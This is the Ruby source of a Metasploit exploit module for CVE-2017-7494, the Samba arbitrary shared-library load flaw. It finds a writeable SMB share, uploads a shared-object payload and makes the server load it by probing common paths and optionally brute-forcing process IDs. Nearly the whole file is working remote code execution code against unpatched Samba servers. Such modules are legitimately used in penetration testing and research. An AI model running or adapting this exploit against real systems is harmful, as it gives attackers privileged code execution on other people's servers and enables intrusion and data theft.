## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writeable folder in an accessible share, and knowledge of the server-side path of the writeable folder. In some cases, anonymous access combined with common filesystem locations can be used to automatically exploit this vulnerability. }, 'Author' => [ 'steelo ', # Vulnerability Discovery 'hdm', # Metasploit Module 'Brendan Coles ', # Check logic 'Tavis Ormandy ', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7494' ], [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], ], 'Payload' => { 'Space' => 9000, 'DisableNops' => true }, 'Platform' => 'linux', # # Targets are currently limited by platforms with ELF-SO payload wrappers # 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], # # Not ready yet # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', 'DefaultTarget' => 1)) register_options( [ OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) register_advanced_options( [ OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]), ]) end def generate_common_locations candidates = [] if datastore['SMB_SHARE_BASE'].to_s.length > 0 candidates << datastore['SMB_SHARE_BASE'] end %W{ /volume1 /volume2 /volume3 /volume4 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared }.each do |base_name| candidates << base_name candidates << [base_name, @share] candidates << [base_name, @share.downcase] candidates << [base_name, @share.upcase] candidates << [base_name, @share.capitalize] candidates << [base_name, @share.gsub(" ", "_")] end candidates.uniq end def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") stuff = self.simple.client.find_first("\\*") directories = [""] stuff.each_pair do |entry,entry_attr| next if %W{. ..}.include?(entry) next unless entry_attr['type'] == 'D' directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Enum #{share}: #{e}") return nil ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def verify_writeable_directory(share, directory="") begin self.simple.connect("\\\\#{rhost}\\#{share}") random_filename = Rex::Text.rand_text_alpha(5)+".txt" filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Write #{share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def share_type(val) [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] end def enumerate_shares_lanman shares = [] begin res = self.simple.client.trans( "\\PIPE\\LANMAN", ( [0x00].pack('v') + "WrLeh\x00" + "B13BWz\x00" + [0x01, 65406].pack("vv") )) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Could not enumerate shares via LANMAN") return [] end if res.nil? vprint_error("Could not enumerate shares via LANMAN") return [] end lerror, lconv, lentries, lcount = res['Payload'].to_s[ res['Payload'].v['ParamOffset'], res['Payload'].v['ParamCount'] ].unpack("v4") data = res['Payload'].to_s[ res['Payload'].v['DataOffset'], res['Payload'].v['DataCount'] ] 0.upto(lentries - 1) do |i| sname,tmp = data[(i * 20) + 0, 14].split("\x00") stype = data[(i * 20) + 14, 2].unpack('v')[0] scoff = data[(i * 20) + 16, 2].unpack('v')[0] scoff -= lconv if lconv != 0 scomm,tmp = data[scoff, data.length - scoff].split("\x00") shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path, simple_client=self.simple) begin simple_client.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Probe: #{path}: #{e}") end end def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs if datastore['SMB_FOLDER'].to_s.length > 0 subdirs.unshift(datastore['SMB_FOLDER']) end subdirs.each do |subdir| next unless verify_writeable_directory(share, subdir) return subdir end nil end def find_writeable_share_path @path = nil share_info = enumerate_shares_lanman if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end share_info.each do |share| next if share.first.upcase == 'IPC$' found = find_writeable_path(share.first) next unless found @share = share.first @path = found break end end def find_writeable find_writeable_share_path unless @share && @path print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") fail_with(Failure::NoTarget, "No matching target") end print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end def upload_payload begin self.simple.connect("\\\\#{rhost}\\#{@share}") random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} ) wfd.close @payload_name = random_filename return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{@share}"] self.simple.disconnect("\\\\#{rhost}\\#{@share}") end end end def find_payload # Reconnect to IPC$ simple.connect("\\\\#{rhost}\\IPC$") # Look for common paths first, since they can be a lot quicker than hunting PIDs print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") generate_common_locations.each do |location| target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') print_status("Trying location #{target}...") probe_module_path(target) end # Exit early if we already have a session return if session_created? return unless datastore['BruteforcePID'] # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d # to non-root, but their /proc/pid directories are still owned by root. Trying to # read the /proc/other-pid/cwd/target.so results in permission denied. There is a # good chance that this still works on some embedded systems and odd-ball Linux. # Use the PID hunting strategy devised by Tavis Ormandy print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") # Configure the main connection to have a working directory of the file share simple.connect("\\\\#{rhost}\\#{@share}") # Use a second connection to brute force the PID of the first connection probe_conn = connect(false) smb_login(probe_conn) probe_conn.connect("\\\\#{rhost}\\#{@share}") probe_conn.connect("\\\\#{rhost}\\IPC$") # Run from 2 to MAX_PID (ushort) trying to read the other process CWD 2.upto(32768) do |pid| # Look for the PID associated with our main SMB connection target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') vprint_status("Trying PID with target path #{target}...") probe_module_path(target, probe_conn) # Keep our main connection alive if pid % 1000 == 0 self.simple.client.find_first("\\*") end end end def check res = smb_fingerprint unless res['native_lm'] =~ /Samba ([\d\.]+)/ print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}") return CheckCode::Safe end samba_version = Gem::Version.new($1.gsub(/\.$/, '')) vprint_status("Samba version identified as #{samba_version.to_s}") if samba_version < Gem::Version.new('3.5.0') return CheckCode::Safe end # Patched in 4.4.14 if samba_version < Gem::Version.new('4.5.0') && samba_version >= Gem::Version.new('4.4.14') return CheckCode::Safe end # Patched in 4.5.10 if samba_version > Gem::Version.new('4.5.0') && samba_version < Gem::Version.new('4.6.0') && samba_version >= Gem::Version.new('4.5.10') return CheckCode::Safe end # Patched in 4.6.4 if samba_version >= Gem::Version.new('4.6.4') return CheckCode::Safe end connect smb_login find_writeable_share_path disconnect if @share.to_s.length == 0 print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified") return CheckCode::Detected end print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'") return CheckCode::Appears end def exploit # Setup SMB connect smb_login # Find a writeable share find_writeable # Upload the shared library payload upload_payload # Find and execute the payload from the share begin find_payload rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply end # Cleanup the payload begin simple.connect("\\\\#{rhost}\\#{@share}") uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" simple.delete(uploaded_path) rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply end # Shutdown disconnect end end